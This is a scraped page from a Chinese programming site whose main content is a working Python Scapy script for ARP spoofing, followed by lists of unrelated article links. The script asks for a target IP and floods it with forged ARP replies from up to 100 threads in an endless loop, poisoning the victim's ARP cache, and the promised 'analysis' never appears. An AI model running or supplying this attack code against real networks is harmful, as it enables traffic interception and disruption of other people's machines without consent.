python发送arp欺骗攻击代码分析


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)
if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')
    Main(ip = ip).start()
Python 相关文章推荐
Linux系统上Nginx+Python的web.py与Django框架环境
Dec 25 Python
Python编程在flask中模拟进行Restful的CRUD操作
Dec 28 Python
钉钉群自定义机器人消息Python封装的实例
Feb 20 Python
Python3+Appium实现多台移动设备操作的方法
Jul 05 Python
解决python flask中config配置管理的问题
Jul 26 Python
对Django外键关系的描述
Jul 26 Python
django之静态文件 django 2.0 在网页中显示图片的例子
Jul 28 Python
python zip()函数使用方法解析
Oct 31 Python
Windows下Anaconda安装、换源与更新的方法
Apr 17 Python
Python requests及aiohttp速度对比代码实例
Jul 16 Python
关于Python不换行输出和不换行输出end=““不显示的问题(亲测已解决)
Oct 27 Python
Elasticsearch 索引操作和增删改查
Apr 19 Python
分析python服务器拒绝服务攻击代码
Jan 16 #Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
You might like
星际争霸 Starcraft 秘技补丁
2020/03/14 星际争霸
PHP EOT定界符的使用详解
2008/09/30 PHP
PHP CURL模拟GET及POST函数代码
2010/04/25 PHP
对PHP PDO的一些认识小结
2015/01/23 PHP
基于ThinkPHP实现批量删除
2015/12/18 PHP
php图片添加文字水印实现代码
2016/03/15 PHP
php获取数据库结果集方法(推荐)
2017/06/01 PHP
laravel excel 上传文件保存到本地服务器功能
2019/11/14 PHP
Google Map Api和GOOGLE Search Api整合实现代码
2009/07/18 Javascript
Jquery Select操作方法集合脚本之家特别版
2010/05/17 Javascript
JavaScript传递变量: 值传递?引用传递?
2011/02/22 Javascript
iframe 异步加载技术及性能分析
2011/07/19 Javascript
json数据处理技巧(字段带空格、增加字段、排序等等)
2013/06/14 Javascript
JQuery触发事件例如click
2013/09/11 Javascript
jquery-tips悬浮提示插件分享
2015/07/31 Javascript
jQuery鼠标经过方形图片切换成圆边效果代码分享
2015/08/20 Javascript
JS实现的页面自定义滚动条效果
2015/10/26 Javascript
JS中正则表达式全局匹配模式 /g用法详解
2017/04/01 Javascript
angularjs+bootstrap实现自定义分页的实例代码
2017/06/19 Javascript
详解Node.js 中使用 ECDSA 签名遇到的坑
2018/11/26 Javascript
基于vue-cli3创建libs库的实现方法
2019/12/04 Javascript
Angular单元测试之事件触发的实现
2020/01/20 Javascript
微信小程序实现多图上传
2020/06/19 Javascript
[03:09]2014DOTA2国际邀请赛 Mushi前队友送上祝福
2014/07/12 DOTA
[01:32]完美世界DOTA2联赛10月29日精彩集锦
2020/10/30 DOTA
[03:02]2020完美世界城市挑战赛(秋季赛)总决赛回顾
2021/03/11 DOTA
使用scrapy实现爬网站例子和实现网络爬虫(蜘蛛)的步骤
2014/01/23 Python
Python HTMLParser模块解析html获取url实例
2015/04/08 Python
Python编程中对super函数的正确理解和用法解析
2016/07/02 Python
python unittest实现api自动化测试
2018/04/04 Python
Python之NumPy(axis=0 与axis=1)区分详解
2019/05/27 Python
python 多进程并行编程 ProcessPoolExecutor的实现
2019/10/11 Python
一些Unix笔试题和面试题
2013/01/22 面试题
营销与策划个人求职信
2013/09/22 职场文书
医院党建工作总结2015
2015/05/26 职场文书
剑指Offer之Java算法习题精讲二叉树专项训练
2022/03/21 Java/Android